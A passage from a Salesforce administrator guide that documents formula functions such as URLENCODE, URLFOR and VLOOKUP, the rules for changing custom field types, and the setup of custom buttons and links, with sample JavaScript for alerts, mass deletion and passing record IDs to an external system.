UPPER("mycompany.com") returns MYCOMPANY.COM.

MYCOMPANY.COM 123
UPPER("Mycompany.com 123") returns MYCOMPANY.COM 123.

Applying Turkish Language Locale Rules


The Turkish language has two versions of the letter i: one dotted and one dotless. The locale
rules for Turkish require the ability to capitalize the dotted i, and allow the dotless I to be
lowercase. To correctly use the UPPER() function with the Turkish language locale, use the
Turkish locale code tr in the UPPER() function as follows:
UPPER(text, "tr")

This ensures that any dotted i in the text does not transform to a dotless I.

URLENCODE
Description:

Encodes text and merge field values for use in URLs by replacing characters that are illegal
in URLs, such as blank spaces, with the code that represent those characters as defined in
RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are
replaced with %20, and exclamation points are replaced with %21.

Use:

{!URLENCODE(text)} and replace text with the merge field or text string that you want

to encode.

1246

Customize

Operators and Functions

Example:

If the merge field foo__c contains <B>Mark's page<b>, {!URLENCODE(foo_c)} results


in: %3CB%3EMark%27s%20page%3C%2Fb%3E

Tips:

This function is only available in custom buttons and links.


Custom buttons and links with URL content sources have separate encoding settings. If
you use the URLENCODE function to encode a custom button or link that has an
encoding setting specified, Salesforce first encodes the URL according to the custom
button or link setting, then encodes the result. For example, if the URL in a custom link
contains a space and its encoding setting is UTF8, Salesforce first encodes the space to
a plus sign (+), then the URLENCODE function converts the plus sign to its character
code, %2B.
When you include the standard Account field on opportunities
(Opportunity.Account) in the URLENCODE function, the value of the field is the
account ID, not the account name. To encode the account name, create a custom
cross-object formula field on opportunities that spans to the account name, and use that
field in the URLENCODE function instead of Opportunity.Account. For example,
if the cross-object formula is AccountNameFormula__c, use the following:
http://www.google.com/search?q={!URLENCODE
(Opportunity.AccountNameFormula__c)}

URLFOR
Description:

Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource
archive in a Visualforce page.

Use:

{!URLFOR(target, id, [inputs], [no override])} and replace target with the
URL or action, s-control, or static resource merge variable, id with a reference to the record,
and inputs with any optional parameters. The no override argument is also optional

and defaults to false. It applies to targets for standard Salesforce pages such as
$Action.Account.New. Replace no override with true when you want to display a
standard Salesforce page regardless of whether you have defined an override for it elsewhere.
To access a Visualforce page, simple enter the name of your page preceeded by an apex/.
For example, if your Visualforce page is named myTestPage, you would use
{!URLFOR("apex/myTestPage"}.
Visualforce Example:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}"
width="50" height="50"/>

In this example, the <apex:image> component references a .jpg file contained within a
.zip file that has been uploaded as a static resource. When uploaded, the name of the static
resource was defined as TestZip, and the path to the image within the resource is
images/Bluehills.jpg.
Tips:

Use global variables to access special merge fields for actions, s-controls, and static
resources.
If an input parameter name begins with any character other than a letter or dollar sign
($), enclose it in quotation marks.

1247

Customize

Operators and Functions

Enclose multiple inputs in brackets to indicate they are together:


{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

Set inputs to null if you do not have any to pass yet you want to set the no override
argument:
{!URLFOR($Action.Case.View, Case.Id, null, true)}

When you override a standard action, that action is no longer available in Salesforce. For
example, if you override the new account action, that affects the New button on all pages
such as the account detail page, account related lists on other detail pages, and the Create
New drop down list in the sidebar. To override a standard action yet still access it, use
the no override argument in your s-control to reference that action.
When you override the tab home page for a standard or custom tab, set target to the
Tab $Action global variable and id to the object type. For example,
URLFOR($Action.Account.Tab, $ObjectType.Account)

This function is only available in custom buttons, links, s-controls, and Visualforce pages.

VALUE
Description:

Converts a text string to a number.

Use:

VALUE(text) and replace text with the field or expression you want converted into a

number.
Example:

Lead Number
VALUE(Lead_Number__c) returns a number for the text value in the auto-number field
Lead Number. This can be useful if you want to use the Lead Number field in a calculation.

Note that auto-number fields are actually text fields and must be converted to a number for
numeric calculations.
Round Robin Lead Assignment
MOD(VALUE(Lead_Number__c), 3)

This formula is for a custom formula field named Round_Robin_ID that assigns each lead
a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead Number
that assigns each lead a unique number starting with 1. The MOD function divides the lead
number by the number of lead queues available (three in this example) and returns a remainder
of 0, 1, or 2. Use the value of this formula field in your lead assignment rules to assign lead
records to different queues. For example:

Tips:

Round_Robin_ID = 0 is assigned to Queue A


Round_Robin_ID = 1 is assigned to Queue B
Round_Robin_ID = 2 is assigned to Queue C

Make sure the text in a VALUE function does not include any special characters other than
a decimal point (period) or minus sign (dash). For example, the formula
VALUE(Text_field__c) produces these results:

If Text field is 123, the result is 123

1248

Customize

Operators and Functions

If Text field is blank, the result is #Error!


If Text field is $123, the result is #Error!
If Text field is EUR123, the result is #Error!

VLOOKUP
Description:

Returns a value by looking up a related value on a custom object similar to the VLOOKUP()
Excel function.

Use:

VLOOKUP(field_to_return, field_on_lookup_object, lookup_value) and


replace field_to_return with the field that contains the value you want returned,
field_on_lookup_object with the field on the related object that contains the value you
want to match, and lookup_value with the value you want to match.

Validation Rule Example:

This example checks that a billing postal code is valid by looking up the first five characters
of the value in a custom object called Zip_Code__c that contains a record for every valid zip
code in the US. If the zip code is not found in the Zip_Code__c object or the billing state
does not match the corresponding State_Code__c in the Zip_Code__c object, an error is
displayed.
AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState
)

Note:

Tips:

Use this example when the billing country is US or USA.


You can download US zip codes in CSV file format from
http://zips.sourceforge.net.

The field_to_return must be an auto number, roll-up summary, lookup relationship,


master-detail relationship, checkbox, date, date/time, email, number, percent, phone,
picklist, text, text area, or URL field type.
The field_on_lookup_object must be the Record Name field on a custom object.
The field_on_lookup_object and lookup_value must be the same data type.
If more than one record matches, the value from the first record is returned.
The value returned must be on a custom object.
You cannot delete the custom field or custom object referenced in this function.
This function is only available in validation rules.

1249

Customize

Changing Custom Field Type

YEAR
Description:

Returns the four-digit year in number format of a given date.

Use:

YEAR(date) and replace date with the field or expression that contains the year you want

returned.
Example:

YEAR(TODAY())- YEAR(Initial_Meeting__c) returns the number of years since your


initial meeting with a client. This example uses a custom date field called Initial Meeting.

See Also:
Examples of Advanced Formula Fields
About Formulas
Building Formulas

Changing Custom Field Type


Available in: All Editions
Standard Objects are not available in Database.com

User Permissions Needed


To change custom fields:

Customize Application

To change the data type of an existing custom field:


1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For fields on Salesforce Knowledge article types, click Your Name > Setup > Customize > Knowledge > Article Types
and select an article type. The article-type detail page has a Fields related list.
3. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
4. Click Edit next to the custom field you want to change.
5. Click Change Field Type.
6. Select a new data type and click Next.
7. Enter a field label, name, any other attributes, and click Save.
For more information, see Notes on Changing Custom Field Types on page 1251.

See Also:
Notes on Changing Custom Field Types
About Roll-Up Summary Fields

1250

Customize

Changing Custom Field Type

Notes on Changing Custom Field Types


Consider the following before converting fields:

Only convert custom fields for which no data exists or you risk losing your data. Changing the data type of an existing
custom field can cause data loss in the following situations:

Changing to or from type Date or Date/Time


Changing to Number from any other type
Changing to Percent from any other type
Changing to Currency from any other type
Changing from Checkbox to any other type
Changing from Picklist (Multi-Select) to any other type
Changing to Picklist (Multi-Select) from any other type
Currently defined picklist values are retained when you change a picklist to a multi-select picklist. If records contain
values that are not in the picklist definition, those values will be deleted from those records when the data type changes.

Changing from Auto Number to any other type


Changing to Auto Number from any type except Text
Changing from Text Area (Long) to any type except Email, Phone, Text, Text Area, or URL

If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected.
If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted.
If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number,
or email will cause the field to no longer act as an external ID.
The option to change the data type of a custom field is not available for all data types. For example, existing custom fields
cannot be converted into encrypted fields nor can encrypted fields be converted into another data type.
In Salesforce Knowledge article types, the file field type can't be converted into other data types.
You cannot change the data type of a custom field that is referenced by a Visualforce page.
For descriptions of other attributes you can set, see Custom Field Attributes on page 1081.
Changing a custom field type may require changing a large number of records at once. To process these changes efficiently,
you request may be queued and you may receive an email notification when the process has completed.
Before changing a custom field's type, make sure that it isn't the target of a workflow field update or referenced in a field
update formula that would be invalidated by the new type.

The following data types have additional restrictions when you convert them:
Data Type

Description

Auto Number

The data in any auto-number field remains unchanged if you


convert it into a text field. Also, you can safely convert a text
custom field into an auto-number field without losing your
data. Converting an auto-number field into any other data
type results in data loss. Auto-number fields can contain a
maximum of 30 characters. Before converting a text custom
field into an auto-number field, change any records that
contain more than 30 characters in that field.

1251

Customize

Changing Custom Field Type

Data Type

Description

Formula

Formula fields are special read-only fields that cannot be


converted to any other data type. Likewise, you cannot convert
any other field type into a formula field.

Picklist

Changing your custom picklists into custom checkboxes is


simple. If you select Checkbox as the new data type, you can
choose which picklist values to map to checked boxes and
unchecked boxes. You can change custom picklists into
multi-select picklists without losing any data. Since your
records only contain a single value of that picklist, that value
will still be selected but users can select additional values. You
can also change a picklist custom field into a text custom field
or a text custom field into a picklist custom field without any
data loss.

Relationships

If your organization has a large number of records,


Salesforce displays a waiting page after you have requested
to change a master-detail into a lookup relationship or a
lookup into a master-detail relationship.
After you have created a roll-up summary field on an
object, you cannot convert the object's master-detail
relationship into a lookup relationship.
A lookup cannot be converted to a master detail
relationship if there are any existing records on the object
that have a null value set for the lookup relationship.

Text Area (Long)

When you convert a long text area field to an Email, Phone,


Text, Text Area, or URL type field, the data in your records
is truncated to the first 255 characters of the field.

Text Area (Rich)

You can only convert rich text area fields into long text area
fields. Any images are deleted the next time the long text area
field is saved. After converting, markup is hidden in the long
text area field but it is not removed from the record until you
save the record. That way, the markup can be restored if you
change your mind.

Note: You cannot change the data type of a custom field if it is referenced in Apex. For more information, see Apex
Code Overview on page 1994.

See Also:
Custom Field Attributes

1252

Customize

Setting Custom Buttons and Links

Setting Custom Buttons and Links


Available in: All Editions except Database.com

User Permissions Needed


To create or change custom buttons and links:

Customize Application

Create custom buttons and links to integrate Salesforce data with external URLs, applications, your companys intranet, or
other back-end office systems.
Custom links can link to:

An external URL, such as www.google.com or your companys intranet.


A custom s-control in the custom s-control library, such as a Java applet or Active-X control.

Custom buttons can:

Connect users to external applications, such as a web page that displays a map to a contact's address.
Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page.
Launch custom links.

For both custom links and buttons, you can choose the display window properties that determine how the target of a link or
button is displayed to your users. Custom links and s-controls can include Salesforce fields as tokens within the URL or custom
s-control. For example, you could include an account name in a URL that searches Yahoo:
http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and
functions.
In addition, you can override the default action of some standard buttons and customize the behavior of tab home pages to
suit your organization's needs. For more information, see Overriding Standard Buttons and Tab Home Pages on page 1260.

See Also:
Defining Custom Buttons and Links
Adding Default Custom Links
About S-Controls
Administrator tip sheet: Building Salesforce Custom Links

1253

Customize

Setting Custom Buttons and Links

Defining Custom Buttons and Links


Custom buttons and links are available in: All Editions except Database.com
Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create or change custom buttons or links:

Customize Application

Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce
page if you want the button or link to launch a custom page or other code.
To define custom buttons and links:
1. Select Your Name > Setup > Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom
buttons are not available on the user object or custom home pages.
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you
can override a button that applies to both tasks and events by clicking Your Name > Setup > Customize > Activities >
Activity Buttons.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click New from the Custom Buttons and Links section.
3. Enter the following attributes:
Attribute Name

Description

Label

The text that displays on user pages for the custom button or link.

Name

The unique name for the button or link used when referenced from a merge field. This name
can contain only underscores and alphanumeric characters, and must be unique in your
organization. It must begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.

Namespace Prefix

In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier


that distinguishes your package and its contents from packages of other developers on
AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not
recognized as unique. Your namespace prefix must be globally unique across all Salesforce
organizations. It keeps your managed package under your control exclusively.

Protected Component Protected components cannot be linked to or referenced by components created in a subscriber

organization. A developer can delete a protected component in a future release without


worrying about failing installations. However, once a component is marked as unprotected
and is released globally, the developer cannot delete it.
Description

Text that distinguishes the button or link from others. This displays only to administrators
when setting up buttons and links.

1254

Customize

Setting Custom Buttons and Links

Attribute Name

Description

Display Type

Determines where the button or link is available on page layouts:


Detail Page Link
Select this option if you want to add the link to the Custom Links section of your page
layouts.
Detail Page Button
Select this option if you want to add the custom button to a record's detail page. You
can only add detail page buttons to the Button Section of a page layout.
List Button
Select this option if you want to add the custom button to a list view, search result layout,
or related list. You can only add list buttons to the Related List Section of a page layout
or the List View and Search Result layouts.
For list buttons, Salesforce automatically selects a Display Checkboxes (for
Multi-Record Selection) option that includes a checkbox next to each record in the
list, allowing users to select the records they want applied to the action on the list button.
Deselect this option if your custom button does not require the user to select records
such as one that quickly navigates the user to another page.

Behavior

Choose the outcome of clicking the button or link.


When applicable, some settings have default values. For example, if you choose Display in
new window, the default height of a new window is 600 pixels. To change these settings,
see Editing Window Open Properties on page 1257.

Content Source

Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content
of the button or link. To use an s-control, choose Custom S-Control, and select the s-control
from the drop-down list. To use a URL, select URL, and enter the link below in the text
area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript
code when the button or link is activated, select OnClick JavaScript, and enter the code in
the text area box below. To use a Visualforce page, select Visualforce Page, and choose the
page from the drop-down list.
Note:

Content

Visualforce pages used as custom links on the home page cannot specify a
controller.
Visualforce pages used as custom buttons or links on detail pages must specify a
standard controller of the same object.
Visualforce pages used as custom list buttons must use a standard list controller
of the same object.

Enter the content of the button or link for buttons and links of type URL or OnClick
JavaScript:
To insert a field, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.

1255

Customize

Setting Custom Buttons and Links

Attribute Name

Description

To insert activity merge fields, select Event or Task from the Select Field Type
drop-down list.
To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 1203.
To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
Tip: Internet standards require special encoding for URLs. Salesforce automatically
encodes the text from any merge field you insert into a link. Encode any additional
text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Link Encoding

Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if
the target of a link requires data in a different format. This is available if your Content Source
is URL.

4. Optionally, click Check Syntax to validate all Salesforce merge fields and functions.
5. Click Save when you are finished.
Click Quick Save to save and continue editing.
Click Preview to view the URL specified.
Click Cancel to quit without saving your content.
6. Edit the page layout for the appropriate tab or search layout to display the new button or link.
If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail
page buttons can only be added to the Button Section of a page layout.
7. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default
browser settings.

1256

Customize

Setting Custom Buttons and Links

Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may
exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.

See Also:
Custom Button Considerations
Viewing References to Salesforce Components
Useful Custom Buttons and Links
Editing Window Open Properties
Adding Default Custom Links
Overriding Standard Buttons and Tab Home Pages

Editing Window Open Properties


Available in: All Editions except Database.com
S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit custom button or link properties:

Customize Application

Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a
popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the
default settings of the users browser.
To edit the window open properties:
1. Select the custom button or link by clicking Your Name > Setup > Customize, selecting the appropriate tab or users link,
clicking Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click Window Open Properties.
3. Edit the following properties:
Window Property

Description

Width

The width (in pixels) of the popup.

Height

The height (in pixels) of the popup.

Window Position

The location on the screen where the popup should open.

Resizeable

Allow users to resize the popup window.

Show Address Bar

Show the browsers address bar which contains the URL.

Show Scrollbars

Show browser scrollbars for the popup.

1257

Customize

Setting Custom Buttons and Links

Window Property

Description

Show Toolbars

Show the browser toolbars. Toolbars normally contain


navigation buttons like Back, Forward, and Print.

Show Menu Bar

Show the browser menus. The menus typically contain


option like File and Edit.

Show Status Bar

Show the status bar at the bottom of the browser.

Note: Some properties may not be available depending on the Behavior of the custom button or link. For
example, if you chose Execute JavaScript, no window open properties are available.

See Also:
Defining Custom Buttons and Links

Custom Button Considerations


Custom buttons and links are available in: All Editions except Database.com
Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create or change custom buttons or links:

Customize Application

Review the following implementation notes and best practices for custom buttons:
Implementation Notes

Custom buttons display at the top and bottom of the detail page to the right of all standard buttons.
You can include s-controls in any field section on your page layout to display the s-control content inline without requiring
users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the
page layout.
If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control
directly on your page layout.
Custom buttons are not distinguished from standard buttons in any graphical way. However, you can recognize them by
their location on the right of all standard buttons.
If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets
too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap.
Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button
to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list
view or search result layouts. To override a button that applies to both tasks and events, click Your Name > Setup >
Customize > Activities > Activity Buttons.

1258

Customize

Setting Custom Buttons and Links

Custom buttons are not available for Web-to-Lead, Web-to-Case, the Case Teams related list, or the user object.
If your organization uses person accounts, your person account records use any custom buttons and links you have made
for accounts. Use the person account page layouts to edit any custom links or detail page buttons for person account records.
To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts
where you access account search layouts.
If your organization uses the Console tab, list buttons are available in the Mass Action drop-down list. List buttons will
not display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the
header or sidebar.
If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR
function.
When creating custom buttons, be mindful of any validation rules your organization has for records on that object. For
example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce
displays the error message for the validation rule when users click the custom button.
If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.

Best Practices

Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your
HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using
functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript
variable that is returned from your code.
To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather
than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and
users can navigate to the new or edit page manually.
Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
To insert activity merge fields, select Event or Task from the Select Field Type drop-down list.
Do not select the Display Checkboxes (for Multi-Record Selection) option for list buttons that link to a URL that does
not support post operations. Checkboxes display next to records in a list if you have selected the Display Checkboxes (for
Multi-Record Selection) option for at least one list button in that list. However, selected records in this list are unaffected
when clicking a custom list button that does not have this option selected.

For considerations on overriding standard buttons, see Overriding Standard Buttons and Tab Home Pages on page 1260.

See Also:
Defining Custom Buttons and Links
Useful Custom Buttons and Links

1259

Customize

Setting Custom Buttons and Links

Adding Default Custom Links


Available in: All Editions except Database.com

User Permissions Needed


To create or change custom links:

Customize Application

To add any of the predefined custom links:


1.
2.
3.
4.
5.
6.

Select Your Name > Setup > Customize, select the appropriate tab link, and choose Buttons and Links.
Click Default Custom Links.
Click Add Now! next to a sample link you want to add.
Change any of the default data for the link, as necessary.
Choose Save.
Edit the page layout for the appropriate tab to display the new link. See Managing Page Layouts on page 1276.

See Also:
Defining Custom Buttons and Links

Overriding Standard Buttons and Tab Home Pages


Available in: Enterprise, Unlimited, and Developer Editions
Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed


To override standard buttons and tab home pages:

Customize Application

To reset button and tab home page overrides:

Customize Application

Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home
page that displays when a user clicks a standard or custom object tab.
To override a standard button or a tab home page:
1. Before you override a standard button, review the considerations for overriding standard buttons.
2. Navigate to the appropriate override page:

For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click
Buttons and Links.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

1260

Customize

Setting Custom Buttons and Links

In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override.
Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.

3. Pick the type of override you want associated with the action:

No Override (use default)Use a custom override provided by an installed package. If there isn't one installed, the
standard Salesforce behavior is used.
Standard Salesforce PageThis option is only available for subscribers who are overriding the actions on an installed
custom object. If selected, the standard Salesforce behavior is used.
Custom S-ControlUse the behavior from an s-control. S-controls have been superseded by Visualforce pages. After
March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create
them. Existing s-controls will remain unaffected, and can still be edited.
Visualforce PageUse the behavior from a Visualforce page.

4. Select the name of the s-control or Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object
on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts,
the page markup must include the standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account">
... page content here ...
</apex:page>

When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab,
pages with a custom controller, or pages with no controller can be selected.
When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected.
When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page.
If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your
Visualforce page is already handling record types.
5. Optionally, enter any comments to note the reason for making this change.
6. Click Save.
Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if
you override the New button on opportunities, your replacement action takes effect wherever that action is available:

The Opportunities tab home page


Any Opportunities related lists on other objects such as accounts
The Create New drop-down list in the sidebar
Any browser bookmarks for this Salesforce page

To remove an override:
1. Click Your Name > Setup > Customize, select the appropriate object or tab link, and then click Buttons and Links.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
2. Click Edit next to the override.

1261

Customize

Setting Custom Buttons and Links

3. Select No Override (default behavior).


4. Click OK.

See Also:
Useful S-Controls
Defining Custom Buttons and Links

Considerations for Overriding Standard Buttons


Available in: Enterprise, Unlimited, and Developer Editions
Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed


To override standard buttons:

Customize Application

Before you override a standard button, review the following considerations:

You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom
S-Controls on page 2124.
You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see
Defining Visualforce Pages on page 2103.
If you override a standard button in Salesforce, that button is still available in Connect Offline or Salesforce Mobile, but
it retains its original behavior.
You cannot add button overrides to a Force.com AppExchange package.
Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you
can override New, View, Edit, and Delete buttons.
The View standard button refers to all of the links in Salesforce that display the detail page for a record. Overriding the
View standard button reroutes all of these links.
If a button is not available for overrides, you can still hide it on the page layout.
Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an
account also overrides the account option in the Create New drop-down list in the sidebar.
You can override buttons on the detail page but not the edit page of a record.
Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result
layouts under search layouts.
Buttons on reports cannot be changed.
Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled.
If your organization uses person accounts, your person account records use any standard button overrides you have made
for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons
you have made for contacts.
If your organization uses the Console tab, overrides for the Edit and View buttons for an object do not affect the Edit and
View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or
sidebar.

1262

Customize

Setting Custom Buttons and Links

If you want to replace a standard button with a custom button, first define the custom button, then customize the page
layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page
Layouts.

See Also:
Overriding Standard Buttons and Tab Home Pages

Viewing References to Salesforce Components


Custom buttons and links are available in: All Editions
S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Visualforce pages and custom components available in: Contact Manager, Group, Professional, Enterprise, Unlimited,
and Developer Editions

User Permissions Needed


To create or change custom buttons or links:

Customize Application

To create, edit, and delete custom s-controls:

Customize Application

To create, edit, and delete Visualforce pages and custom


components:

Customize Application

To clone, edit, or delete static resources:

Customize Application

You can view a list of all the areas in Salesforce that reference a component. For example, view the custom links, custom
buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the
component. Salesforce lists the type of component that references the component and the label for that component. Click any
item in the list to view it directly.

See Also:
What is a Static Resource?
Defining Custom Buttons and Links
Custom Button Considerations
About S-Controls
Visualforce Overview
What is a Custom Component?

1263

Customize

Setting Custom Buttons and Links

Useful Custom Buttons and Links


User Permissions Needed
To create or change custom buttons or links:

Customize Application

Custom buttons and links are available in: All Editions except Database.com
Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions

Use the following samples to get started using custom buttons and links:

Simple Custom Buttons


Custom List Buttons

See Also:
Defining Custom Buttons and Links
Custom Button Considerations

Simple Custom Buttons


Displaying Alerts
You may want to display a simple alert window with text. In this example, the custom button displays a popup dialog with a
welcome message containing the user's first name, using the !$User.FirstName merge field.
1. Define a custom button with the following attributes:

Display Type is Detail Page Button


Behavior is Execute JavaScript
Content Source is OnClick JavaScript

Use the following sample code:


alert ("Hello {!$User.FirstName}");

2. Add the button to the appropriate page layout.


Getting Record IDs
You may want to define a custom button that opens a popup window to display a list of record IDs for the records a user has
selected in a list. This is useful when testing to determine if you are getting the record IDs correctly before processing them
with a more complex process.
1. Define a custom list button with the following attributes:

1264

Customize

Setting Custom Buttons and Links

Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

Behavior is Execute JavaScript


Content Source is OnClick JavaScript

Use the following sample code:


idArray = {!GETRECORDIDS($ObjectType.Contact)};
alert("The Ids you have selected are: "+idArray);

Note: This example is for contacts. Change the object type for a different type of record.

2. Add the button to the appropriate related list on a page layout or list view layout.

Custom List Buttons


Mass Delete
Your busy users may want to delete more than one record in a list view or related list with a single click. Create the following
custom list button and add it your activity related lists and list views:
1. Define a custom list button for events with the following attributes:

Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

Behavior is Execute JavaScript


Content Source is OnClick JavaScript

Use the following sample code:


{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}
var records = {!GETRECORDIDS( $ObjectType.Event )};
var taskRecords = {!GETRECORDIDS( $ObjectType.Task)};
records = records.concat(taskRecords);
if (records[0] == null) {
alert("Please select at least one record.") }
else {
var errors = [];
var result = sforce.connection.deleteIds(records);
if (result && result.length){
var numFailed = 0;
var numSucceeded = 0;
for (var i = 0; i < result.length; i++){
var res = result[i];
if (res && res.success == 'true'){

1265

Customize

Setting Custom Buttons and Links

numSucceeded++;
} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}

2. Add the custom list button to your activity list views.


3. Add the custom list button to any page layout that contains an activity related list. The custom button deletes any selected
task or event in the list.
You can install this custom button and others like it by going to http://sites.force.com/appexchange and browsing or searching
for the Mass Delete app.
Passing Record IDs to an External System
If you use Salesforce record IDs as unique identifiers for integrating with an external system, you can configure a list button
to pass those record IDs using a URL. In the example below, a list button calls a Visualforce page to determine the record
IDs of the records selected in a list and passes them in a URL query parameter to an external Web page called
www.yourwebsitehere.com.
1. Create a Visualforce page that uses the GETRECORDIDS function to retrieve a list of selected records:
<script type="text/javascript">
idArray = {!GETRECORDIDS($ObjectType.Account)};
window.location.href="http://www.yourwebsitehere.com?array="+idArray;
</script>

Note: Replace www.yourwebsitehere.com with your own URL.

2. Define a custom list button for accounts with the following attributes:

Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

Behavior is Display in existing window with sidebar


Content Source is Visualforce Page

Select the Visualforce page you created in the first step.

1266

Customize

Setting Custom Buttons and Links

3. Add the custom list button to the appropriate page layout or list view layout.
Reopening Cases
Related lists are valuable because they allow users to perform an action on several records at once. Add a custom list button
to your cases related lists so that users can reopen several cases on an opportunity at once.
1. Define a custom list button for cases with the following attributes:

Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures
that users can select any number of records in the list before clicking the button.

Behavior is Execute JavaScript


Content Source is OnClick JavaScript

Use the following sample code:


{!REQUIRESCRIPT
